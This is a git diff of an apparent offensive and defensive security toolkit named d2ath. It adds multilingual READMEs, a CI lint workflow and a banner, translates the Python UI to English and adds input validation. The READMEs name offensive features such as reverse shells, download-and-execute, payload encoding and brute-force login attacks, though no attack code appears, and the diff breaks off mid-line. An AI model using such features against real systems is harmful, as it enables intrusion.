diff --git a/.github/workflows/python-app.yml b/.github/workflows/python-app.yml new file mode 100644 index 0000000..85b874e --- /dev/null +++ b/.github/workflows/python-app.yml @@ -0,0 +1,53 @@ +name: Python Application + +on: + push: + branches: [ main, master ] + pull_request: + branches: [ main, master ] + +jobs: + lint: + runs-on: ubuntu-latest + strategy: + matrix: + python-version: ['3.8', '3.9', '3.10', '3.11', '3.12'] + + steps: + - uses: actions/checkout@v4 + + - name: Set up Python ${{ matrix.python-version }} + uses: actions/setup-python@v5 + with: + python-version: ${{ matrix.python-version }} + + - name: Install dependencies + run: | + python -m pip install --upgrade pip + pip install flake8 pyflakes + if [ -f requirements.txt ]; then pip install -r requirements.txt; fi + + - name: Lint with flake8 + run: | + flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics + flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics + + - name: Check Python syntax + run: | + python -m py_compile d2ath.py + python -m py_compile colors.py + + test: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.x' + + - name: Test import + run: | + python -c "import d2ath; print('Import OK')" + python -c "import colors; print('Colors OK')" \ No newline at end of file diff --git a/README.md b/README.md index cc3d6a8..787e4f9 100644 --- a/README.md +++ b/README.md @@ -1,10 +1,19 @@ -# ██╗███╗ ██╗██╗ ██╗██╗ ██╗███████╗ -# ██║████╗ ██║██║ ██╔╝██║ ██║██╔════╝ -# ██║██╔██╗ ██║█████╔╝ ██║ ██║███████╗ -# ██║██║╚██╗██║██╔═██╗ ██║ ██║╚════██║ -# ██║██║ ╚████║██║ ██╗╚██████╔╝███████║ -# ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═════╝ ╚══════╝ -# ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ +# d2ath - Security Framework + +``` + ██████╗ ███████╗███████╗██╗ ██╗ █████╗ ██╗ ██╗ ███████╗███████╗ +██╔══██╗██╔════╝██╔════╝██║ ██║██╔══██╗██║ ██║ ██╔════╝██╔════╝ +█████╔╝█████╗ █████╗ ██║ █╗ ██║███████║██║ ██║ █████╗ ███████╗ +██╔══██╗██╔══╝ ██╔══╝ ██║███╗██║██╔══██║██║ ██║ ██╔══╝ ╚════██║ +██║ ██║███████╗███████╗╚███╔███╔╝██║ ██║███████╗███████╗███████╗███████║ +╚═╝ ╚═╝╚══════╝╚══════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝╚══════╝ + ██████╗ ███████╗ █████╗ ██████╗ ██████╗ ██╗ ██╗██████╗ + ██╔══██╗██╔════╝██╔══██╗██╔══██╗ ██╔══██╗╚██╗ ██╔╝██╔══██╗ + ██║ ██║█████╗ ███████║██████╔╝ ██████╔╝ ╚████╔╝ ██████╔╝ + ██║ ██║██╔══╝ ██╔══██║██╔══██╗ ██╔══██╗ ╚██╔╝ ██╔══██╗ + ██████╔╝███████╗██║ ██║██║ ██║ ██████╔╝ ██║ ██████╔╝ + ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ +```
@@ -14,79 +23,77 @@
- Framework de sécurité ofensiva et défensiva tout-en-un pour Linux. + All-in-one offensive and defensive security framework for Linux.
--- -## ⚠️ Avertissement +## ⚠️ Disclaimer -> **IMPORTANT** : Ce projet est fourni à des fins **éducatives uniquement**. -> L'auteur **décline toute responsabilité** en cas de mauvaise utilisation de cet outil. -> Toute action interdite sans consentement explicite est **illégale**. +> **IMPORTANT**: This project is provided for **educational purposes only**. +> The author **declines any responsibility** for misuse of this tool. +> Any unauthorized action without explicit consent is **illegal**. --- -## 📋 Table des matières +## 📋 Table of Contents -- [Fonctionnalités](#-fonctionnalités) +- [Features](#-features) - [Installation](#-installation) -- [Capture d'écran](#-capture-décran) +- [Screenshots](#-screenshots) - [Structure](#-structure) -- [Prérequis](#-prérequis) -- [Avertissement](#-avertissement) -- [Licence](#-licence) +- [Requirements](#-requirements) +- [License](#-license) +- [Translations](#translations) --- -## 🔧 Fonctionnalités +## 🔧 Features -### 📁 Structure par catégorie +### 📁 Categories -| Catégorie | Description | -|-----------|-------------| -| **Reconnaissance** | Scan de ports, ping scan, DNS lookup, Whois, GeoIP, Traceroute | -| **Réseau** | Mon IP, IP locale, Netdiscover, Wireshark, Ping, Vérification de port | -| **Cryptographie** | Générateur de mots de passe, Hash (MD5, SHA256), Base64, URL encode/decode | -| **Système** | Informations système, Exploration de fichiers | -| **Exploitation** | Reverse Shell, Encoder/Decoder payloads, Serveur HTTP, Download & Execute, Metasploit | +| Category | Description | +|----------|-------------| +| **Reconnaissance** | Port scan, ping scan, DNS lookup, Whois, GeoIP, Traceroute | +| **Network** | My IP, Local IP, Netdiscover, Wireshark, Ping, Port check | +| **Cryptography** | Password generator, Hash (MD5, SHA256), Base64, URL encode/decode | +| **System** | System info, File explorer | +| **Exploitation** | Reverse Shell, Encoder/Decoder payloads, HTTP server, Download & Execute, Metasploit | | **Audit** | Nmap, Masscan, Aircrack-ng, Nikto, Hydra, John the Ripper, Hashcat, SQLMap | -### 🛠️ Outils intégrés +### 🛠️ Integrated Tools -- **Scanner de ports** - Scan rapide des ports ouverts -- **Ping scan** - Découverte des hôtes actifs sur un réseau -- **DNS Lookup** - Résolution DNS et reverse lookup -- **GeoIP** - Localisation géographique d'une adresse IP -- **Netdiscover** - Scan ARP du réseau local -- **Wireshark** - Analyseur de paquets réseau (tshark/tcpdump) -- **Nmap** - Scanner de ports avancé -- **Aircrack-ng** - Suite d'outils pour attaques WiFi -- **Hydra** - Attaque par force brute sur les services de connexion -- **SQLMap** - Détection et exploitation d'injections SQL -- **Et bien plus...** +- **Port Scanner** - Fast scan of open ports +- **Ping Scan** - Discover active hosts on a network +- **DNS Lookup** - DNS resolution and reverse lookup +- **GeoIP** - Geographic location of an IP address +- **Netdiscover** - ARP scan of local network +- **Wireshark** - Network packet analyzer (tshark/tcpdump) +- **Nmap** - Advanced port scanner +- **Aircrack-ng** - WiFi attack suite +- **Hydra** - Brute force attack on login services +- **SQLMap** - Detection and exploitation of SQL injections +- **And more...** --- ## 💻 Installation ```bash -# Cloner le dépôt +# Clone repository git clone https://github.com/s1d9e/d2ath.git -# Entrer dans le répertoire +# Enter directory cd d2ath -# Rendre le script exécutable +# Make executable chmod +x d2ath.py -# Exécuter +# Run python3 d2ath.py ``` -### Dépendances (installation automatique si manquantes) - -La plupart des dépendances sont installées automatiquement. Pour une installation manuelle : +### Dependencies (auto-installed if missing) ```bash # Ubuntu / Debian @@ -102,34 +109,50 @@ sudo dnf install python3 python3-pip nmap masscan netdiscover wireshark-cli tcpd --- -## 📷 Capture d'écran +## 📷 Screenshot ``` -:::::::-. .:::. .,:::::: :::. :::::::::::: :: .: - ;;, `';, ,;'``;.;;;;'''' ;;`;;;;;;;';;,;; ;;, - `[[ [[ '' ,[['[[cccc ,[[ '[[, [[ ,[[[,,,[[[ - $$, $$ .c$$P' $$"""" c$$$cc$$$c $$ "$$$""$$$ - 888_,o8P'd88 _,oo,888oo,__ 888 888, 88, 888 "88o - MMMMP"` MMMUP*"^^""""YUMMMYMM ""` MMM MMM YMM + ██████╗ ██████╗ ███╗ ██╗███████╗ ██████╗ ██╗ ███████╗███████╗ + ██╔════╝██╔═══██╗████╗ ██║██╔════╝██╔═══██╗██║ ██╔════╝██╔════╝ + ██║ ██║ ██║██╔██╗ ██║███████╗██║ ██║██║ █████╗ ███████╗ + ██║ ██║ ██║██║╚██╗██║╚════██║██║ ██║██║ ██╔══╝ ╚════██║ + ╚██████╗╚██████╔╝██║ ╚████║███████║╚██████╔╝███████╗███████╗███████║ + ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚═════╝ ╚══════╝╚══════╝╚══════╝ + v2.0 + + ╔════════════════════════════════════════════════════════════╗ + ║ d2ath - Security Framework ║ + ║ Offensive & Defensive Security Toolkit ║ + ║ ║ + ║ ██████╗ ██╗ ██╗██████╗ ███████╗██████╗ ║ + ██╔═══██╗╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗ ║ + ║ ██████╔╝ ╚████╔╝ ██████╔╝█████╗ ██████╔╝ ║ + ║ ██╔═══╝ ╚██╔╝ ██╔══██╗██╔══╝ ██╔══██╗ ║ + ║ ██║ ██║ ██████╔╝███████╗██║ ██║ ║ + ╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝ ║ + ║ ║ + ║ [1] RECON [2] NETWORK [3] CRYPTO ║ + ║ [4] SYSTEM [5] EXPLOIT [6] AUDIT ║ + ╚════════════════════════════════════════════════════════════╝ ┌─────────────────────────────────────────┐ - │ SÉLECTIONNER UNE CATÉGORIE │ + │ SELECT A CATEGORY │ └─────────────────────────────────────────┘ ┌─[ 1 ] ▸ RECONNAISSANCE └─────────────────────────────────────────────╜ - ┌─[ 2 ] ▸ RÉSEAU + ┌─[ 2 ] ▸ NETWORK └─────────────────────────────────────────────╜ - ┌─[ 3 ] ▸ CRYPTOGRAPHIE + ┌─[ 3 ] ▸ CRYPTOGRAPHY └─────────────────────────────────────────────╜ - ┌─[ 4 ] ▸ SYSTÈME + ┌─[ 4 ] ▸ SYSTEM └─────────────────────────────────────────────╜ ┌─[ 5 ] ▸ EXPLOITATION └─────────────────────────────────────────────╜ ┌─[ 6 ] ▸ AUDIT └─────────────────────────────────────────────╜ - ┌─[ q ] Quitter + ┌─[ q ] Quit └────────────────────╜ ``` @@ -139,53 +162,271 @@ sudo dnf install python3 python3-pip nmap masscan netdiscover wireshark-cli tcpd ``` d2ath/ -├── d2ath.py # Script principal -├── colors.py # Module de couleurs (optionnel) -├── README.md # Ce fichier -├── LICENSE # Licence MIT +├── d2ath.py # Main script +├── README.md # English (main) +├── README_FR.md # French +├── README_ES.md # Spanish +├── README_DE.md # German +├── LICENSE # MIT License └── .github/ └── workflows/ - └── lint.yml # GitHub Actions + └── lint.yml ``` --- -## 📌 Prérequis +## 📌 Requirements - **Python 3.8+** -- **Système d'exploitation** : Linux (optimisé pour Kali, Ubuntu, Debian, Arch) -- **Permissions** : root/sudo requis pour certains outils (netdiscover, aircrack-ng, nmap) +- **OS**: Linux (optimized for Kali, Ubuntu, Debian, Arch) +- **Permissions**: root/sudo required for some tools (netdiscover, aircrack-ng, nmap) --- -## ⚠️ Avertissement légal +## ⚠️ Legal Disclaimer -**Ce programme est destiné à :** -- ✅ Tests de pénétration autorisés -- ✅ Sécurité informatique éducative -- ✅ Usage personnel sur vos propres systèmes -- ✅ Recherche en cybersécurité +**This program is intended for:** +- ✅ Authorized penetration testing +- ✅ Educational computer security +- ✅ Personal use on your own systems +- ✅ Cybersecurity research + +**This program must NOT be used for:** +- ❌ Unauthorized system access +- ❌ Illegal or malicious activities +- ❌ Any other unethical or illegal use + +**The author cannot be held responsible for any inappropriate use.** + +--- -**Ce programme ne doit pas être utilisé pour :** -- ❌ Accéder à des systèmes sans autorisation -- ❌ Activités illégales ou malveillantes -- ❌ Tout autre usage非éthique ou非légal +## 📄 License -**L'auteur ne peut être tenu responsable de toute utilisation 非appropriée.** +This project is licensed under the **MIT License**. See [LICENSE](LICENSE) for details. --- -## 📄 Licence +## 🌐 Translations -Ce projet est sous licence **MIT**. Voir le fichier [LICENSE](LICENSE) pour plus de détails. +- [English](README.md) (Main) +- [Français](README_FR.md) +- [Español](README_ES.md) +- [Deutsch](README_DE.md) ---- Fait avec ❤️ par s1d9e + Made with ❤️ by s1d9e
-
+
+ All-in-one offensive and defensive security framework for Linux. +
+ ++ All-in-one offensive and defensive security framework for Linux. +
+ +--- + +## ⚠️ Disclaimer + +> **IMPORTANT**: This project is provided for **educational purposes only**. +> The author **declines any responsibility** for misuse of this tool. +> Any unauthorized action without explicit consent is **illegal**. + +--- + +## 📋 Table of Contents + +- [Features](#-features) +- [Installation](#-installation) +- [Screenshots](#-screenshots) +- [Structure](#-structure) +- [Requirements](#-requirements) +- [Disclaimer](#-disclaimer) +- [License](#-license) +- [Translations](#translations) + +--- + +## 🔧 Features + +### 📁 Categories + +| Category | Description | +|----------|-------------| +| **Reconnaissance** | Port scan, ping scan, DNS lookup, Whois, GeoIP, Traceroute | +| **Network** | My IP, Local IP, Netdiscover, Wireshark, Ping, Port check | +| **Cryptography** | Password generator, Hash (MD5, SHA256), Base64, URL encode/decode | +| **System** | System info, File explorer | +| **Exploitation** | Reverse Shell, Encoder/Decoder payloads, HTTP server, Download & Execute, Metasploit | +| **Audit** | Nmap, Masscan, Aircrack-ng, Nikto, Hydra, John the Ripper, Hashcat, SQLMap | + +### 🛠️ Integrated Tools + +- **Port Scanner** - Fast scan of open ports +- **Ping Scan** - Discover active hosts on a network +- **DNS Lookup** - DNS resolution and reverse lookup +- **GeoIP** - Geographic location of an IP address +- **Netdiscover** - ARP scan of local network +- **Wireshark** - Network packet analyzer (tshark/tcpdump) +- **Nmap** - Advanced port scanner +- **Aircrack-ng** - WiFi attack suite +- **Hydra** - Brute force attack on login services +- **SQLMap** - Detection and exploitation of SQL injections +- **And more...** + +--- + +## 💻 Installation + +```bash +# Clone repository +git clone https://github.com/s1d9e/d2ath.git + +# Enter directory +cd d2ath + +# Make executable +chmod +x d2ath.py + +# Run +python3 d2ath.py +``` + +### Dependencies (auto-installed if missing) + +```bash +# Ubuntu / Debian +sudo apt update +sudo apt install python3 python3-pip whois curl nmap masscan netdiscover wireshark tshark tcpdump nikto hydra john sqlmap + +# Arch Linux +sudo pacman -S python python-pip whois nmap masscan netdiscover wireshark-cli tcpdump nikto hydra john sqlmap + +# Fedora +sudo dnf install python3 python3-pip nmap masscan netdiscover wireshark-cli tcpdump nikto hydra john sqlmap +``` + +--- + +## 📷 Screenshot + +``` + ██████╗ ██████╗ ███╗ ██╗███████╗ ██████╗ ██╗ ███████╗███████╗ + ██╔════╝██╔═══██╗████╗ ██║██╔════╝██╔═══██╗██║ ██╔════╝██╔════╝ + ██║ ██║ ██║██╔██╗ ██║███████╗██║ ██║██║ █████╗ ███████╗ + ██║ ██║ ██║██║╚██╗██║╚════██║██║ ██║██║ ██╔══╝ ╚════██║ + ╚██████╗╚██████╔╝██║ ╚████║███████║╚██████╔╝███████╗███████╗███████║ + ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚═════╝ ╚══════╝╚══════╝╚══════╝ + v2.0 + + ╔════════════════════════════════════════════════════════════╗ + ║ d2ath - Security Framework ║ + ║ Offensive & Defensive Security Toolkit ║ + ║ ║ + ║ ██████╗ ██╗ ██╗██████╗ ███████╗██████╗ ║ + ██╔═══██╗╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗ ║ + ║ ██████╔╝ ╚████╔╝ ██████╔╝█████╗ ██████╔╝ ║ + ║ ██╔═══╝ ╚██╔╝ ██╔══██╗██╔══╝ ██╔══██╗ ║ + ║ ██║ ██║ ██████╔╝███████╗██║ ██║ ║ + ╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝ ║ + ║ ║ + ║ [1] RECON [2] NETWORK [3] CRYPTO ║ + ║ [4] SYSTEM [5] EXPLOIT [6] AUDIT ║ + ╚════════════════════════════════════════════════════════════╝ + + ┌─────────────────────────────────────────┐ + │ SELECT A CATEGORY │ + └─────────────────────────────────────────┘ + + ┌─[ 1 ] ▸ RECONNAISSANCE + └─────────────────────────────────────────────╜ + ┌─[ 2 ] ▸ NETWORK + └─────────────────────────────────────────────╜ + ┌─[ 3 ] ▸ CRYPTOGRAPHY + └─────────────────────────────────────────────╜ + ┌─[ 4 ] ▸ SYSTEM + └─────────────────────────────────────────────╜ + ┌─[ 5 ] ▸ EXPLOITATION + └─────────────────────────────────────────────╜ + ┌─[ 6 ] ▸ AUDIT + └─────────────────────────────────────────────╜ + + ┌─[ q ] Quit + └────────────────────╜ +``` + +--- + +## 📂 Structure + +``` +d2ath/ +├── d2ath.py # Main script +├── README.md # English (main) +├── README_FR.md # French +├── README_ES.md # Spanish +├── README_DE.md # German +├── LICENSE # MIT License +└── .github/ + └── workflows/ + └── lint.yml +``` + +--- + +## 📌 Requirements + +- **Python 3.8+** +- **OS**: Linux (optimized for Kali, Ubuntu, Debian, Arch) +- **Permissions**: root/sudo required for some tools (netdiscover, aircrack-ng, nmap) + +--- + +## ⚠️ Legal Disclaimer + +**This program is intended for:** +- ✅ Authorized penetration testing +- ✅ Educational computer security +- ✅ Personal use on your own systems +- ✅ Cybersecurity research + +**This program must NOT be used for:** +- ❌ Unauthorized system access +- ❌ Illegal or malicious activities +- ❌ Any other unethical or illegal use + +**The author cannot be held responsible for any inappropriate use.** + +--- + +## 📄 License + +This project is licensed under the **MIT License**. See [LICENSE](LICENSE) for details. + +--- + +## 🌐 Translations + +- [English](README.md) (Main) +- [Français](README_FR.md) +- [Español](README_ES.md) +- [Deutsch](README_DE.md) + +--- + ++ Made with ❤️ by s1d9e +
+ +
+
+
+
+
+
+
+
+
+ All-in-One-Offensive-und-Defensive-Sicherheits-Framework für Linux. +
+ +--- + +## ⚠️ Haftungsausschluss + +> **WICHTIG**: Dieses Projekt dient nur zu **Bildungszwecken**. +> Der Autor **übernimmt keine Verantwortung** für Missbrauch. +> Jede unbefugte Aktion ist **illegal**. + +--- + +## 📋 Inhaltsverzeichnis + +- [Funktionen](#-funktionen) +- [Installation](#-installation) +- [Rechtlicher Hinweis](#-rechtlicher-hinweis) +- [Lizenz](#-lizenz) + +--- + +## 🔧 Funktionen + +| Kategorie | Beschreibung | +|-----------|-------------| +| **Reconnaissance** | Port-Scan, Ping-Scan, DNS, Whois, GeoIP, Traceroute | +| **Netzwerk** | Meine IP, Lokale IP, Netdiscover, Wireshark, Ping | +| **Kryptographie** | Passwort-Generator, Hash (MD5, SHA256), Base64, URL | +| **System** | System-Info, Datei-Explorer | +| **Exploitation** | Reverse Shell, Encoder/Decoder, HTTP-Server | +| **Audit** | Nmap, Masscan, Aircrack-ng, Nikto, Hydra, John, SQLMap | + +--- + +## 💻 Installation + +```bash +git clone https://github.com/s1d9e/d2ath.git +cd d2ath +chmod +x d2ath.py +python3 d2ath.py +``` + +--- + +## ⚠️ Rechtlicher Hinweis + +**Erlaubte Nutzung:** +- ✅ Autorisierte Penetrationstests +- ✅ Bildung im Bereich IT-Sicherheit + +**Verbotene Nutzung:** +- ❌ Unbefugter Zugriff +- ❌ Illegale Aktivitäten + +--- + +## 📄 Lizenz + +**MIT-Lizenz**. Siehe [LICENSE](LICENSE). + +--- + ++ Mit ❤️ erstellt von s1d9e +
\ No newline at end of file diff --git a/README_ES.md b/README_ES.md new file mode 100644 index 0000000..c797a82 --- /dev/null +++ b/README_ES.md @@ -0,0 +1,77 @@ +# d2ath - Marco de Seguridad + +
+
+
+
+
+
+ Marco de seguridad ofensivo y defensivo todo-en-uno para Linux. +
+ +--- + +## ⚠️ Aviso + +> **IMPORTANTE**: Este proyecto es solo para **fines educativos**. +> El autor **no se hace responsable** del mal uso de esta herramienta. +> Cualquier acción no autorizada es **ilegal**. + +--- + +## 📋 Índice + +- [Características](#-características) +- [Instalación](#-instalación) +- [Aviso legal](#-aviso-legal) +- [Licencia](#-licencia) + +--- + +## 🔧 Características + +| Categoría | Descripción | +|-----------|-------------| +| **Reconocimiento** | Escaneo de puertos, ping scan, DNS, Whois, GeoIP, Traceroute | +| **Red** | Mi IP, IP local, Netdiscover, Wireshark, Ping | +| **Criptografía** | Generador de passwords, Hash (MD5, SHA256), Base64, URL | +| **Sistema** | Info del sistema, Explorador de archivos | +| **Explotación** | Reverse Shell, Encoder/Decoder, Servidor HTTP | +| **Auditoría** | Nmap, Masscan, Aircrack-ng, Nikto, Hydra, John, SQLMap | + +--- + +## 💻 Instalación + +```bash +git clone https://github.com/s1d9e/d2ath.git +cd d2ath +chmod +x d2ath.py +python3 d2ath.py +``` + +--- + +## ⚠️ Aviso Legal + +**Uso autorizado:** +- ✅ Pruebas de penetración autorizadas +- ✅ Educación en seguridad informática + +**Uso prohibido:** +- ❌ Acceso no autorizado +- ❌ Actividades ilegales + +--- + +## 📄 Licencia + +Licencia **MIT**. Ver [LICENSE](LICENSE). + +--- + ++ Hecho con ❤️ por s1d9e +
\ No newline at end of file diff --git a/README_FR.md b/README_FR.md new file mode 100644 index 0000000..fe0ec7e --- /dev/null +++ b/README_FR.md @@ -0,0 +1,100 @@ +# d2ath - Framework de Sécurité + +
+
+
+
+
+
+ Framework de sécurité offensive et défensive tout-en-un pour Linux. +
+ +--- + +## ⚠️ Avertissement + +> **IMPORTANT** : Ce projet est fourni à des fins **éducatives uniquement**. +> L'auteur **décline toute responsabilité** en cas de mauvaise utilisation de cet outil. +> Toute action interdite sans consentement explicite est **illégale**. + +--- + +## 📋 Table des matières + +- [Fonctionnalités](#-fonctionnalités) +- [Installation](#-installation) +- [Capture d'écran](#-capture-décran) +- [Structure](#-structure) +- [Prérequis](#-prérequis) +- [Avertissement](#-avertissement) +- [Licence](#-licence) + +--- + +## 🔧 Fonctionnalités + +### 📁 Structure par catégorie + +| Catégorie | Description | +|-----------|-------------| +| **Reconnaissance** | Scan de ports, ping scan, DNS lookup, Whois, GeoIP, Traceroute | +| **Réseau** | Mon IP, IP locale, Netdiscover, Wireshark, Ping, Vérification de port | +| **Cryptographie** | Générateur de mots de passe, Hash (MD5, SHA256), Base64, URL encode/decode | +| **Système** | Informations système, Exploration de fichiers | +| **Exploitation** | Reverse Shell, Encoder/Decoder payloads, Serveur HTTP, Download & Execute, Metasploit | +| **Audit** | Nmap, Masscan, Aircrack-ng, Nikto, Hydra, John the Ripper, Hashcat, SQLMap | + +--- + +## 💻 Installation + +```bash +# Cloner le dépôt +git clone https://github.com/s1d9e/d2ath.git + +# Entrer dans le répertoire +cd d2ath + +# Rendre le script exécutable +chmod +x d2ath.py + +# Exécuter +python3 d2ath.py +``` + +### Dépendances + +```bash +# Ubuntu / Debian +sudo apt update && sudo apt install python3 python3-pip whois curl nmap masscan netdiscover wireshark tshark tcpdump nikto hydra john sqlmap + +# Arch Linux +sudo pacman -S python python-pip whois nmap masscan netdiscover wireshark-cli tcpdump nikto hydra john sqlmap +``` + +--- + +## ⚠️ Avertissement légal + +**Usage autorisé :** +- ✅ Tests de pénétration autorisés +- ✅ Sécurité informatique éducative +- ✅ Usage personnel sur vos propres systèmes + +**Usage interdit :** +- ❌ Accès non autorisé à des systèmes +- ❌ Activités illégales ou malveillantes + +--- + +## 📄 Licence + +Ce projet est sous licence **MIT**. Voir [LICENSE](LICENSE). + +--- + ++ Créé avec ❤️ par s1d9e +
\ No newline at end of file diff --git a/banner.txt b/banner.txt new file mode 100644 index 0000000..bdd6936 --- /dev/null +++ b/banner.txt @@ -0,0 +1,13 @@ + d2ath v2.0 - Security Framework + ██████╗ ███████╗███████╗██╗ ██╗ █████╗ ██╗ ██╗ ███████╗███████╗ +██╔══██╗██╔════╝██╔════╝██║ ██║██╔══██╗██║ ██║ ██╔════╝██╔════╝ +██████╔╝█████╗ █████╗ ██║ █╗ ██║███████║██║ ██║ █████╗ ███████╗ +██╔══██╗██╔══╝ ██╔══╝ ██║███╗██║██╔══██║██║ ██║ ██╔══╝ ╚════██║ +██║ ██║███████╗███████╗╚███╔███╔╝██║ ██║███████╗███████╗███████╗███████║ +╚═╝ ╚═╝╚══════╝╚══════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝╚══════╝ + + [1] RECON [2] NETWORK [3] CRYPTO + [4] SYSTEM [5] EXPLOIT [6] AUDIT + + Offensive & Defensive Security Toolkit + https://github.com/s1d9e/d2ath \ No newline at end of file diff --git a/d2ath.py b/d2ath.py index 85fa591..746e5b9 100644 --- a/d2ath.py +++ b/d2ath.py @@ -8,10 +8,10 @@ import random import base64 import json +import shlex +import re from pathlib import Path -os.system("") - class C: HEADER = "" BLUE = "" @@ -28,12 +28,21 @@ class C: BOLD = "\033[1m" TITLE = [ - C.WHITE + ":::::::-. .:::. .,:::::: :::. :::::::::::: :: .: " + C.RESET, - C.GRAY + " ;;, `';, ,;'``;.;;;;'''' ;;`;;;;;;;';;,;; ;;, " + C.RESET, - C.GRAY + " `[[ [[ '' ,[['[[cccc ,[[ '[[, [[ ,[[[,,,[[[ " + C.RESET, - C.WHITE + ' $$, $$ .c$$P\' $$"""" c$$$cc$$$c $$ "$$$"""$$$ ' + C.RESET, - C.GRAY + ' 888_,o8P\'d88 _,oo,888oo,__ 888 888, 88, 888 "88o' + C.RESET, - C.WHITE + ' MMMMP"` MMMUP*"^^""""YUMMMYMM ""` MMM MMM YMM ' + C.RESET, + C.WHITE + " d2ath v2.0 - Security Framework " + C.RESET, + C.GRAY + " ██████╗ ███████╗███████╗██╗ ██╗ █████╗ ██╗ ██╗ ███████╗███████╗" + C.RESET, + C.WHITE + "██╔══██╗██╔════╝██╔════╝██║ ██║██╔══██╗██║ ██║ ██╔════╝██╔════╝" + C.RESET, + C.GRAY + "██████╔╝█████╗ █████╗ ██║ █╗ ██║███████║██║ ██║ █████╗ ███████╗" + C.RESET, + C.WHITE + "██╔══██╗██╔══╝ ██╔══╝ ██║███╗██║██╔══██║██║ ██║ ██╔══╝ ╚════██║" + C.RESET, + C.GRAY + "██║ ██║███████╗███████╗╚███╔███╔╝██║ ██║███████╗███████╗███████╗███████║" + C.RESET, + C.WHITE + "╚═╝ ╚═╝╚══════╝╚══════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝╚══════╝" + C.RESET, +] + +LOGO = [ + C.WHITE + " ╔═══════════════════════════════════════════════════╗" + C.RESET, + C.GRAY + " ║ [1] RECON [2] NETWORK [3] CRYPTO ║" + C.RESET, + C.WHITE + " ║ [4] SYSTEM [5] EXPLOIT [6] AUDIT ║" + C.RESET, + C.GRAY + " ║ [q] Quit ║" + C.RESET, + C.WHITE + " ╚═══════════════════════════════════════════════════╝" + C.RESET, ] LOGO = [ @@ -73,104 +82,110 @@ def get_input(prompt): def get_input_ip(prompt): print(f"{C.WHITE}[?] {prompt}: {C.RESET}") - print(f"{C.GRAY} [Entrée] = mon IP publique | Tapez l'IP manuellement{C.RESET}") + print(f"{C.GRAY} [Enter] = my public IP | Type IP manually{C.RESET}") choice = input(f"{C.WHITE} └─>{C.RESET} ").strip() if not choice: my_ip = get_my_ip() if my_ip: - print(f"{C.WHITE}[*] Utilisation de mon IP: {C.WHITE}{my_ip}{C.RESET}") + print(f"{C.WHITE}[*] Using my IP: {C.WHITE}{my_ip}{C.RESET}") return my_ip else: - print(f"{C.GRAY}[!] Impossible de récupérer mon IP{C.RESET}") + print(f"{C.GRAY}[!] Could not retrieve my IP{C.RESET}") return None + if not re.match(r'^[\d.]+$', choice): + print(f"{C.GRAY}[!] Invalid IP format{C.RESET}") + return None return choice def get_input_domain(prompt): print(f"{C.WHITE}[?] {prompt}: {C.RESET}") - print(f"{C.GRAY} [Entrée] = mon IP publique | Tapez l'IP/Domaine{C.RESET}") + print(f"{C.GRAY} [Enter] = my public IP | Type IP/Domain{C.RESET}") choice = input(f"{C.WHITE} └─>{C.RESET} ").strip() if not choice: my_ip = get_my_ip() if my_ip: - print(f"{C.WHITE}[*] Utilisation de mon IP: {C.WHITE}{my_ip}{C.RESET}") + print(f"{C.WHITE}[*] Using my IP: {C.WHITE}{my_ip}{C.RESET}") return my_ip return None + if not re.match(r'^[\w.\-]+$', choice): + print(f"{C.GRAY}[!] Invalid domain format{C.RESET}") + return None return choice CATEGORIES = { "1": { - "name": "RECONNAISSANCE", + "name": "RECON", "color": C.GRAY, "tools": [ - ("Scan de ports", "ports", "Scanner les ports ouverts"), - ("Ping Scan", "ping", "Découverte des hôtes actifs"), - ("DNS Lookup", "dns", "Résolution DNS"), - ("Whois", "whois", "Informations WHOIS"), - ("GeoIP", "geoip", "Localisation IP"), - ("Traceroute", "traceroute", "Chemin vers une IP"), + ("Port Scan", "ports", "Scan open ports"), + ("Ping Scan", "ping", "Discover active hosts"), + ("DNS Lookup", "dns", "DNS resolution"), + ("Whois", "whois", "WHOIS information"), + ("GeoIP", "geoip", "IP geolocation"), + ("Traceroute", "traceroute", "Route to IP"), ] }, "2": { - "name": "RÉSEAU", + "name": "NETWORK", "color": C.WHITE, "tools": [ - ("Mon IP", "myip", "Afficher mon IP publique"), - ("IP Locale", "iplocale", "Afficher mon IP locale"), - ("Toutes mes IPs", "allips", "Toutes mes interfaces"), - ("Passerelle", "gateway", "Afficher gateway"), - ("Vérifier Port", "checkport", "Vérifier si port ouvert"), - ("Ping", "rawping", "Ping simple"), - ("Calculatrice Réseau", "netcalc", "Calculer réseau/broadcast"), - ("Netdiscover", "netdiscover", "Scanner le réseau local (ARP)"), - ("Wireshark", "wireshark", "Lancer Wireshark (terminal)"), + ("My IP", "myip", "Show public IP"), + ("Local IP", "iplocale", "Show local IP"), + ("All IPs", "allips", "All network interfaces"), + ("Gateway", "gateway", "Show gateway"), + ("Check Port", "checkport", "Check if port is open"), + ("Ping", "rawping", "Simple ping"), + ("Network Calc", "netcalc", "Calculate network/broadcast"), + ("Netdiscover", "netdiscover", "Scan local network (ARP)"), + ("Wireshark", "wireshark", "Launch Wireshark (terminal)"), ] }, "3": { - "name": "CRYPTOGRAPHIE", + "name": "CRYPTO", "color": C.GRAY, "tools": [ - ("Générateur MDP", "password", "Générer un mot de passe"), - ("Hash MD5", "md5", "Hash MD5"), - ("Hash SHA256", "sha256", "Hash SHA256"), - ("Hash Fichier", "filehash", "Hasher un fichier"), - ("Base64 Encode", "b64e", "Encoder Base64"), - ("Base64 Decode", "b64d", "Décoder Base64"), - ("URL Encode", "urle", 